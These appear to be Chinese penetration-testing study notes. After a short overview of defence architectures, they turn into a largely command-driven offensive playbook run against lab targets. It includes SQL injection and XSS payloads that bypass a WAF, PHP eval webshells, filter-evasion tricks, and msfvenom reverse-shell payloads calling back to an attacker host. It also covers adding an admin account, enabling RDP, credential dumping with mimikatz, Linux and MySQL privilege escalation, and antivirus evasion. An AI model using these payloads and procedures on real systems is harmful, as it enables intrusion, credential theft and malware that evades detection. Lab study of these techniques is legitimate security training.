一、安全防御体系
1.1 安全防御体系的重要性
安全防御体系规划:为了应对各种网络攻击共和威胁而指定的一系列策略和措施,不仅有助于提高组织的网络安全水平,还能保护敏感数据和保证业务的连续性。
安全防御体系规划的作用:
·防范网络安全:通过定制安全策略和采取相应的技术措施,能够访问大多数网络攻击
·保护数据安全:网络攻击可能导致数据泄露或破坏,构建网络防御体系可以有效保护组织的数据安全
·提高业务连续性:网络攻击可能导致业务中断,网络安全战略规划可以确保业务的连续性,减少因安全事件造成的损失。
1.2 安全防御体系的构建策略
构建全面的安全防御体系需要综合考虑管理、技术和人员三个方面。
常见安全策略:
·健全管理制度:建立一套完善的网络安全管理制度可以有效指导日常安全工作有序展开
·网络边界防御:使用防火墙、web应用防护系统(WAF)和入侵防御系统(IPS)蹬技术来保护网络边界,组织未经授权的访问
·网络流量监测:使用流量分析工具对网络流量进行实时监测,及时发现异常活动和潜在威胁
·强化身份认证:采用多重身份认证机制,如双因素认证,以提高用户身份验证的安全性
·数据加密:对重要数据进行加密,确保即使在数据泄露的情况下,攻击者也无法解密敏感信息
·定期漏洞扫描:使用漏洞扫描工具定期检查系统的安全漏洞,并及时修补漏洞
·员工培训:加强员工的网络安全意识,教育他们如何识别和应对网络威胁
1.3 常见的安全防护设备
1.3.1 边界安全
·防火墙:内部网络与外部网络的交叉点,保护内网不受攻击,加强网络间的访问控制,所有流量都要经过防火墙
·VPN:虚拟专用网络,基于公网建立一个临时、安全的网络安全,穿过公网的安全、加密隧道
·入侵检测系统(IDS):主机层威胁检测设备,根据安全策略及时发现网络攻击企图、攻击行为和攻击结果,不影响网络性能,缺乏主动防御功能
·入侵防御系统(IPS):IDS基础上增加主动防御功能,会消耗网络性能,甚至影响业务
·抗拒绝服务系统(抗DDOS):流量清洗,恶意IP封堵
·安全网关(UTM):各种提供系统(或网络)安全保障的硬件设备或软件的统称,集合了各类安全防护技术,保护范围从低层次的协议数据包到高层次的具体应用
·上网行为管理:提供用户准入功能,全面精准识别用户的网络行为,实现流量管控。
1.3.2 应用安全
·应用防火墙(WAF):应用层威胁监测设备,通过特征提取和分块检索技术进行模式匹配来达到过滤、分析、校验网络请求包的目的,在保证正常网络应用功能的同时,隔绝或阻断无效或非法的攻击请求。----应用层防护
`---中间件-主机层-防护:IPS+WAF
·网页防篡改:实时监测网站,阻断网站篡改攻击行为,一旦网站内容被篡改,能够保证在极短时间内将正常网页内容同步到web服务器。---暗链
·蜜罐:在网络中部署大量陷阱主机,形成复杂、逼真的蜜网环境,诱导攻击者访问,实现攻击手段获取、攻击行为记录、攻击溯源及反之等目标,提升主动防御能力。
1.3.3 数据安全
·数据库防火墙:可以串联在数据库服务器和应用服务器之间,对访问数据库的流量进行实时监控和分析,识别安全威胁并即使进行阻断,保护核心数据。
·数据库审计系统:≈旁路部署的数据库防火墙,检测访问数据库行为并作记录,发现高危风险进行告警,但不做实质上的防御,偏向事后的溯源
·数据防泄漏系统(DLP):准确识别敏感数据,对全量以及风险数据外发进行审计与防护,实时记录、分析和统计数据外发行为与敏感信息外泄事件,为安全事件发生后提供溯源与取证。
·日志审计:全面收集企业中常见的安全设备、网络设备、数据库、服务器、应用系统、主机等设备所产生的日志(包括运行、告警、操作、消息、状态等)并进行存储、监控、审计、分析、报警、响应和报告。
1.3.4 终端安全
·终端安全管理系统(EDR):通过部署在终端上的agent实现全网资产的统一监控和管理,通过持续检测终端活动行为检测安全风险、对于威胁风险进行深度调查、提供补救响应手段等方式,全面提升终端的安全防护能力。
·防病毒(AV):商业化杀毒软件
1.3.5 安全检测
·漏扫系统:继承了应用漏洞扫描、主机漏洞扫描、基线配置检查、代码审计、镜像扫描等多个功能模块。
1.3.6 安全管理
·堡垒机:从功能上,集成了系统运维和安全审计;从技术上讲,切断终端计算机对网络和服务器资源的直接访问,实现以协议代理的方式接管终端计算机对网络和服务器的访问,并且会监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为。
·态势感知:由多个安全产品组成的一套系统,基于统一全网流量和日志数据,融合威胁情报进行实时分析、智能决策,实现全网安全攻击事件的分析、告警、研判、溯源和取证等工作。
·威胁情报平台:基于大数据提供威胁通告、漏洞情报、IP信息、攻击组织、攻击工具等一些列相关信息。
1.4 常见的安全防御体系
1.4.1 边界防御体系
边界防护,从UTM到下一代防火墙、WAF、流量清洗等,将威胁挡在触发前,解决网络边界的防御问题
优点:部署简单;
缺点:对内部的攻击没有防护效果,只要突破边界防御就可以在内网进行横向移动、扩散等。
1.4.2 纵深防御体系
基于边界防御的扩展,任何防御都不是万能的,本质是多层防御;每一个访问流量都要经过多层安全检测,一定程度上增加安全检测能力和被攻破的成本。
应用端、数据库端、服务器端、网络层、网络边界
优点:各个产品功能定位清晰,允许不同品牌产品混用,攻击成本高,安全性较好
缺点:各个产品之前缺乏协同机制
1.4.3 河防体系
由腾讯提出,把对手控制在一个可控范围内,用丰富的资源打败他。“控”的思路就是步步为营,层层设防,让攻击者即使入侵到系统内也是在可控的范围内活动。
具体措施就是在网络隔离的基础上,严格控制办公网对生产网的访问,同时在对生产网内部进行隔离的基础上进行边界防护以及检测
1.4.4 塔防体系
本质上也是纵深防御,优化于纵深防御,强调终端要纳入安全防御网络中,具有自我防御能力,并且有了云的管控能力和威胁情报数据。
1.4.5 下一代纵深防御
突破了传统基于边界防护安全的设计的概念,从网络主机,数据库层面,依托人工智能技术以及沙箱技术,结合威胁情报提供全方位的web纵深防护,从传统边界防护过渡到新一代的基于预警、检测、协同、防御、响应、溯源理念的纵深防御,对于未知的威胁也具备一定的防御能力。
二、WAF绕过
使用环境:Win7+phpstudy+安全狗
2.1 WAF安装与配置
2.1.1 安装DVWA
使用phpstudy部署dvwa靶场,使用MySQL+Apache
注:dvwa文件夹放在phpstudy下www目录下
dvwa\config\config.inc.php文件中数据库用户名密码改为root
dvwa\php.ini中allow_url_fopen = On allow_url_include = On (文件包含)(phpstudy_pro\Extensions\php文件夹中也需要求改)
小皮面板下创建dvwa站点,访问该站点,成功安装dvwa后,使用SQL_Front工具修改guestbook和user两个表的字符校对集为utf8_general_ci防止后续出现乱码
2.1.2 安装安全狗(WAF)
官网下载最新版安全狗apache版本 http://free.safedog.cn/
查看本地服务中有没有apache服务win + service,发现没有apache服务
小皮面板中关闭apache服务,找到apache路径,复制路径,并以管理员打开cmd
切换到路径目录下,执行.\httpd.exe -k install -n apache2.4.39,在服务里查看apache并启动
安装安全狗,发现所有选项已自动识别填充,安装后并启动安全狗
打开dvwa靶场进行攻击实验,发现被安全狗拦截 //常见防火墙(WAF)拦截页面
https://blog.csdn.net/qq_51577576/article/details/128165335
2.2 WAF绕过SQL注入
核心思想:改变SQL查询语句的格式,但不改变其语义
WAF利用正则表达式基于语义去检测
SQLmap注入有无waf对比
目前安全狗可以正常跑出结果,sqlmap一直在更新旧版本sqlmap可能会被拦截
手注背安全狗拦截
(1)内联注释:将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,但在MySQL自身可以识别 //“不是注释的注释 \=不具备注释语义的注释”
内联注释特性:
1./*!XXX*/:语句会被注释掉
2./*!数据库版本号XXX*/:数据库版本号≤实际版本号时,语句不会被注释掉
3./*!数据库版本号XXX*/:数据库版本号≥实际版本号时,语句会被注释掉
1' /*!11445and*/ '1'='1 00000~99999 可以使用字典爆破,安全狗中后四位440~445
(2)联合注入
order by 判断列数 order by 会被拦截,利用group by 绕过
说明只有2列,使用1' union select 1,2 --+查询时被拦截
利用绕过,在参数后插入其他语句,添加注释,然后使用截断,使用%23使得语句报错,将双引号直接注释 //%0A-回车 %23--# regexp正则函数
1' regexp "%0A%23" /*!11144union %0A select */1,2--+
正则匹配换行和#没有实际意义,但改变了句式,union %0A select 使联合查询语句不明显
查询数据库
1' regexp "%0A%23" /*!11144union %0A select */1,database() --+ ,被拦截,针对database()进行绕过,database(%0A /*!11445*/)
获取库名
select first_name,last_name from users where user_id = 1 union select 1,group_concat(schema_name) from information_schema.schemata;
-1' /*!union*/ /*!--+*/*%0Aselect \*!1,*/group_concat(schema_name) /\*!from\*/ information_schema./*!schemata*/ --+
获取dvwa库里面所有的表名
union select group_concat(table_name) from information_schema tables where tables_schema='dvwa'
-1' union /*!--+/*%0Aselect/*!1,*/ group_concat(table_name) /*!from*/ /*!--+/*%0Ainformation_schema./*!tables*/ where table_schema='dvwa' --+
2.3 WAF绕过XSS攻击
测试环境:DVWA+安全狗
直接输入一下代码会被安全狗拦截
<script>alert(1)</script>
(1)利用base64编码绕过
< object data="data:text">
< object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3NjcmlwdD4="
(2)利用SVG标签进行绕过;<\svg>标记定义SVG图形的容器
<img src=## onerror=alert(document.cookie)> ##导致错误,onerror出现错误后执行后面语句
<svg/onload=alert(1)>
2.4 WAF绕过文件上传
无防护情况下可以直接上传成功,有waf时会被拦截,waf匹配文件名,content-type(文件类型)
拦截规则:(仅适用于文本文档,如果上传1.php.jpg则会检测是否是真正的图片,不是则拦截)
(1)文件后缀名是拦截原因
(2)文件类型不是拦截原因(content-type)
(3)文件内容不是拦截原因
2.4.1 双写绕过
双写filename=;
2.4.2 利用无用文件头绕过
在请求体前面添加大量无用数据(要和请求头空一行)
2.4.3 绕过内容检测
上传免杀一句话木马
<?php
name =\_GET\[1\]; //定义一个关键字1,用1来接收用户的输入,get获取用户的输入传递给name
name=substr(name,0); //name字符串取过来,从0开始读,读完后取值赋值给name
eval("echo 123;" . $name."echo 456;");//先打印123再执行name的值,再打印456
?>
“直接执行用户输入”的特征相对不明显了
<?php @eval($_POST['a']);?>
2.4.4 利用00截断绕过
上传文件在bp中名字改为*.php;,jpg
把3b修改为00
分号变为空值,但实际00仍存在
2.5 WAF绕过漏洞扫描
触发WAF的原因:
1、漏扫线程过大被封禁
解决办法:延时、低线程、使用代理池、模拟用户漏扫
2、工具指纹被WAF识别被封禁
解决方法:指纹特征修改、模拟用户漏扫
3、漏洞单点payload特征被WAF识别封禁
解决办法:数据变异绕过、多种工具集合扫描尝试
WAF绕过漏洞扫描实践-隐匿流量
1、使用代理池 https://www.kuaidaili.com/
2、更换user-agent
3、修改漏扫特征指纹
4、降低线程,扫描敏感度,使用流量代理转发
5、使用冷门工具代替常见漏扫工具
2.6 WAF绕过命令执行,绕过脚本免杀
2.6.1 WAF绕过命令执行
常见的命令执行函数
system() #输出并但会最后一行shell结果
exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里
passthru() #只调用命令,把命令的运行结果原样输出到标准输出设备上
popen()\proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec #通过shell执行命令并以字符串的形式返回完整的输出
反引号 #本质是使用shell\exec()函数
命令分隔符
windows: && || & |
linux: && || & | ;
分号在shell担任连续指令的功能
截断符号
$ ; | & - ( ) { } ` || && %0A(有时可以当空格使用)
linux命令执行绕过
1、绕空格
${IFS} $IFS$\* *(\*为任意数字) < <>(重定向符) {cat,xxxx}(用逗号实现了空格功能)
2、拼接
3、编码
4、单双引号绕过,任意加,但引号需要闭合
5、反斜杠绕过
6、通配符绕过 *匹配多个字符,?匹配单个字符
windows绕过
引号绕过 ^ () win也可以拼接
2.6.2 WAF绕过脚本免杀(D盾)
下载最新D盾查杀工具 https://www.d99net.net/
将一句话php检测,免杀后门级别为2为可疑文件,实战中可能会躲避检测
2.7 WAF绕过其他安全性验证
1、WAF封锁IP,使用代理池进行绕过
2、WAF防止端口扫描,使用低线程进行缓速扫描
3、WAF封闭外网敏感端口,通过web大键隧道进行流量代理 frp nps ew
等等
(一般HW中攻击队会用到)
三、Webshell后门分析
3.1 代码层面后门分析
通过文件上传漏洞上传webshell,one.php
<?php @eval($\_POST\['a'\]);?>
:PHP语言的格式
evaluate():将括号内的字符串解析为php代码
$_POST[a]:获取post参数的a值
@是一直符号,屏蔽函数执行过程中遇到问题产生的一些错误、告警信息,这样用户就看不到程序的出错信息
在post参数中a接收到的值都会被当作php代码执行
解决方案:过滤掉执行命令的函数
3.2 菜刀后门分析
中国菜刀:网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站都可以用
WSExplorer:网络抓包工具,可以监控服务器上指定软件/进程的通信,能看到指定软件/进程的通信行为。可以对数据包内容进行二进制和明文转换,对于不加密的数据包甚至可以直接看到明文内容
使用中国菜刀,连接wehshell
打开WSExplorer,选择中国菜刀chopper.exe进程,菜刀中操作,捕获数据包
选取流量包分析,先进行url解码,再进行base64解码得到明文,&为字段连接名,z0、z1是字段名
3.3 网络层面后门分析
打开wireshake,捕获vm网卡,上传漏洞至靶机获取webshell,并使用蚁剑连接,执行命令
通过语法过滤分析,查询目的ip是10.0.0.159 http协议的流量包
ip.dts == 10.0.0.159 && http
右击,追踪流,tcp流,即可发现蚁剑执行命令的流量包
红色为请求报文,蓝色为响应,大量十六位编码为url编码,可以解码获取信息
四、Webshell获取思路总结
五、提权-后渗透阶段
已经拿到了webshell
信息搜集-->利用漏洞-->遇到WAF-->绕过WAF-->拿到webshell-->whoami:www-data web用户,仅能访问web目录,更无法调用系统命令-->想要系统权限-->提权
稳定通道:ssh、远程桌面
5.1 Windows提权前期相关事项
明确事项:
明确漏洞编号及版本
明确漏洞利用平台及版本
确保cmd执行权限正常允许
明确服务器相关防护软件情况
systeminfo查看系统补丁: #一般网站安全做的好的话会有几百个补丁
5.2Windows提权常用命令
查看3389是否开启,0x0为开,0x1为关
REG query HKLM\SYSTEM\CurrentControlSet\Control\Termianl" "Server /vfDenyTSConnections
| 命令 | 说明 |
| :---------------------------------------: | :----------------------------: |
| whoami | 查看当前权限 |
| ipconfig | 查看服务器为内网还是外网 |
| quser | 查看管理是否在线 |
| systeminfo | 查看服务器信息及相应的补丁,可找相应的补丁提权 |
| tasklist | 查看当前运行的进程,是否有有av,可利用的第三方服务器提权等 |
| net user | 查看用户 |
| net user admin adqqq7! /add | 添加账户 |
| net user guest /active:yes | 激活guest账户 |
| net local group administrators admin /add | 将admin这个用户加到管理组 |
| net user admin /del | 删除admin账户 |
| tasklist /svc | 查看进程服务 |
| tasklist /m dll | 查看调用某个dll的进程 |
| tasklist /v | 显示当前进程和进程用户 |
| qwinsta | 显示会话情况 |
| net config workstation | 查看当前登陆用户信息 |
| hostname | 主机名 |
| set | 查看环境变量 |
| net view | 显示当前域或工作组中计算机的列表 |
| net statistics workstation | 查看主机开机时间 |
| net share | 查看共享文件夹 |
win server 2012、win7开启3389:
wmic /namespace:\root\cvim2\terminalservices path win32_terminalservicesetting where (_CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cvim2\terminalservices path win32_terminalservicesetting where (_TermianlName = "RDP-Tcp") call setallowtsconnections 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Termian Server" /vsfSingleSessionPerUser /t REG_DWORD /d 0 /f
windows server 2008开启3389
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnects /t REG_DWORD /d 00000000 /f
windows server 2003,windows XP开启3390:
wmic path win32_terminalservicesetting where (_CLASS != "") call setallowsconnections 1
5.3 Windows提权实战
环境:win7+Kali
通过文件上传漏洞上传一句话木马
蚁剑连接该地址:http://10.0.0.159/dvwa/hackable/uploads/one.php
攻击思路:
1.拿下webshell
2.MSF制作后门程序
3.利用webshell投递后门程序
4.kali开启监听
5.在目标机器上运行后门程序
6.拿到meterpreter命令行,形成会话
7.扫描目标系统存在那些漏洞,进行提权利用
kali利用msf生成一个后门程序,通过webshell上传并执行该后门程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.157 lport=5555 -f exe -o 5555.exe
msf监听端口
msfconsole
use exploit/multi/handler
options
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.0.157
set port 5555
run或者exploit
利用蚁剑虚拟终端,在靶机中运行5555.exe,kali获取meterpreter
run post/windows/gather/enum_pathes 查看补丁信息
run post/multi/recon/local_exploit_suggester 查看哪些提权exp可以使用
扫描结果中,兰青色可以用来提权,红色不可用来提权
meterpreter放入后台,然后利用模块
options 查看需要配置项
session -l 查看会话选项
set session 1
set target Windows x64
set payload windows/x64/meterpreter/reverse_tcp
exploit
攻击后获取到meterpreter后使用getuid命令发现用户为最高权限用户
shell中若存在乱码,则使用chcp 437
5.4 Windows提权后期密码安全性测试
1、利用(run) hashdump进行dump获取服务器hash值
在线网站解密,1000:为头字段,第三段为密文
2、利用mimikatz获取管理员账号密码
load kiwi,加载模块
help 查看帮助
使用creds_all获取账密3、当hash解密不出来的时候,可以利用hash来直接远程登陆
5.5 Linux提权必备命令
5.5.1 linux提权寻找exp
https://www.exploit-db.com/
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com
5.5.2 用户信息相关命令
id
whoami
who
w
last
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
5.5.3 列出超级用户
grep -v -E "^#" /etc/passwd | awk -F: '3 == 0 { print1}'
awk -F:'($3 == "0") {print}' /etc/passwd
cat /etc/sudoers
sudo -l
5.5.4 查看操作系统版本
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release #Debian
cat /etc/redhat-release #RedHat
5.5.5 查看内核版本
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
5.5.6 查看环境变量
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
5.5.7 查看正在运行的程序及对应的用户权限
ps aux
ps -ef
top
cat /etc/services
5.5.8 查看ROOT权限运行的进程
ps aux | grep root
ps -ef | grep root
5.5.9 查看安装软件
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/
5.5.10 查看服务的配置文件
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/apache2/apache2.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
5.5.11 查看计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /var/spool/cron/crontabs/root
cat /etc/crontab
5.5.12 查找明文账号密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
5.5.13 查看支持哪些语言
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
5.5.14 查看可上传方式
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
5.5.15 查看缓存
arp -e
route
/sbin/route -nee
5.5.16 查看网络通信
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
5.6 Linux提权实战
5.6.1 Linux脏牛提权
环境:Metasploitable-2
下载链接: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
账号密码: msfadmin/msfadmin
漏洞简介;CVE-2016-5195,即Dirty COW,俗称脏牛漏洞。是linux kernel中的条件竞争漏洞,攻击者可以采用linux kernel的COW(Copy-on-Write,写时复制)技术中存在的逻辑漏洞完成对文件的越权读写,恶意用户可以利用此漏洞来获取高权限。
漏洞原理:Linux内核的子系统在处理写入时复制产生了条件竞争,恶意用户可利用此漏洞来回去最高权限
影响版本:2007年9月Linux kernel 2.6.22-->2018年Linux Kernel 4.8.3,4.7.9,4.4.26 此期间所有基于其中版本范文的发行版
脏牛提权:提权之前为msfadmin权限
上传exp dirty.c,使用gcc进行编译:gcc -pthread dirty.c -o dirty -lcrypt
进行提权(root是任意输入的密码):./dirty root
执行完./dirty后发现新建firefart用户和root用户在同一目录下切换到firefart用户后发现是最高权限用户
5.6.1 SUID提权
环境:docker dvwa
SUID是Linux的一中权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
vim命令具备s权限,即vim命令具备s权限,其拥有者使root
www-data用户使用vim命令时,可以短暂获取root权限,利用这个短暂时间执行系统命令,就相当于以root用户的权限去做执行操作。
可用来提权的文件列表:nmap vim find bash more less nano cp
查找具有root权限的SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
靶场中上传one.php文件,通过webshell利用find命令提权至root权限
find /-name one.php -exec "whoami" \;
5.6.3 Linux Polkit本地提权
所用环境:docker pull /chenaotian/cve-2021-4034
Polkit:是Linux上的一个系统服务,用于定义和管理与系统权限和访问控制相关的策略。它提供了一中控制各种操作和资源权限的方法,允许非root用户执行管理任务,但无需授予其root权限。
CVE-2021-4034:Polkit的pkexecvu存在本地提权漏洞,已获得普通权限的攻击者可以通过此漏洞获取root权限
利用:上传exp,给权限执行cve-2021-4034-poc几个获得root权限
六、数据库提权
6.1 获取Mysql账号密码
环境:docker pull citizenstig/dvwa:latest
6.1.1 获取webshell之后查找配置文件
获取webshell后,查找网站数据库配置文件,对于CMS系统,比如WordPress系统,数据库信息都是在/wordpress/wp-config.php中。因此针对CMS系统,可以先去百度,查找相关配置文件的目录,一般是web.config、config、config.inc.php、jdbc.properties等。
6.1.2 通过SQL注入获取Mysql账号密码
通过burp截取数据包
sqlmap目录下创建1.txt,将burp截取数据粘贴进去
sqlmap中使用sqlmap.py -r 1.txt --batch判断是否存在注入漏洞
sqlmap.py -r 1.txt --batch
使用password爆破密码 sqlmap.py 1.txt --password --batch,成功爆破出密码为root
sqlmap.py 1.txt --password --batch
6.1.3 通过暴力破解获取mysql账号密码
使用工具进行爆破
6.2 UDF提权
UDF介绍:
UDF(user-defined function)是MYSQL的一个拓展接口,用户自定义函数,是用来拓展MySQL的技术手段,是数据库的一中扩展。用户通过自定义函数来实现MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用。利用UDF,通过提娜佳命令执行函数,可以执行系统命令,从而实现提权。
原理:用户自定义的函数被当作本机函数执行,在使用CREATE FUNCTION调用dll中的函数后,mysql账号转化为system权限,从而实现提权。
提权条件:
1.Mysql版本大于5.1版本
2.网站本身存在Getshell漏洞,可以通过webshell将udf.dll上传到Mysql中的lib\plugin目录下
3.掌握的Mysql数据库账号有对Mysql的insert和delete权限以创建和删除函数
4.secure-file-priv参数部位bull(在本实验中非必须条件)
提权流程
1、通过网站漏洞获取webshell,权限为普通用户
2、查找数据库账号密码 /dvwa/config/config.inc.php
3、连接数据库,默认情况下数据库不允许远程登陆
允许数据库远程连接
grant all privileges on *.* to "root"@"%" identified by "password";
创建用户
CREATE USER 'admin'@'%' INDENTIFIED BY 'pwd123';
Mysql配置文件增加srcure-file-priv选项
secure_file_priv=
新建查询,查询系统位数:show variables like '%compile%';
show variables like '%plugin%'; 查看plugin目录路径
制作提权dll
sqlmap中有编码后的dll文件,路径为
sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
利用cloak.py进行解码获得mysqludf.sys.dll,路径sqlmap\extral\cloak
python cloak.py -d -i lib_mysqludf_sys.dll_
将dll文件上传到phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin目录,默认没有lib\plugin目录,需要新建
创建sys-eval函数提权
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
使用SELECT sys_eval('whoami');提权,因为默认用普通用户部署,只能提权到普通用户
启用administrator用户后切换到该用户,启动靶场
再次进行提权,获取到管理员账户
用普通用户进行部署,防止被提权
7、免杀
环境:Kali+Windows
免杀技术简介:
反查杀技术,Anti-Virus(AV)简称免杀,是一种能使病毒木马免于被杀毒软件查杀的即使。免杀技术包含反汇编、逆向工程、系统漏洞等技术。通过修改病毒、木马的内容的特征码来躲避查杀。
在线查杀引擎:VirusTotal - Home
7.1 利用MSF自带的功能进行免杀
meatsploit框架下免杀的方式之一是MSF编码器,对攻击在和文件进行重新排列编码,改变可执行文件种的代码形状,比米娜被杀毒软件认出。MSF编码器可以将原可执行程序重新编码,生成一个新的二进制文件,该文件运行后,MSF编码器会将原始程序解码到内存中并执行
-e:指定编码器x86/shikata_ga_nai
-i:指定编码次数
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.157 lport=5556 -e x86/shikata_ga_nai -i 20 -f exe -o 5556.exe
MSF编码器被各大杀毒软件标记,免杀效果差
7.2 MSF编码器结合shellcode加载器进行免杀
下载shellcode加载器:crowsec/BypassAV_360_huornog at master · crow821/crowsec · GitHub
利用编码器生成jpg文件
msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 7 -b '\x00' lhost=10.0.0.157 lport=5558 -f raw -o crowsec.jpg
-p 指定payload -e 指定编码器 -i 编译了7次 -b 指定要剔除的坏字符
将ms.exe crowsec.jpg msvcr110.dll上传到靶机后,kali开启监听,然后靶机上运行ms.exe,获取到meterpreter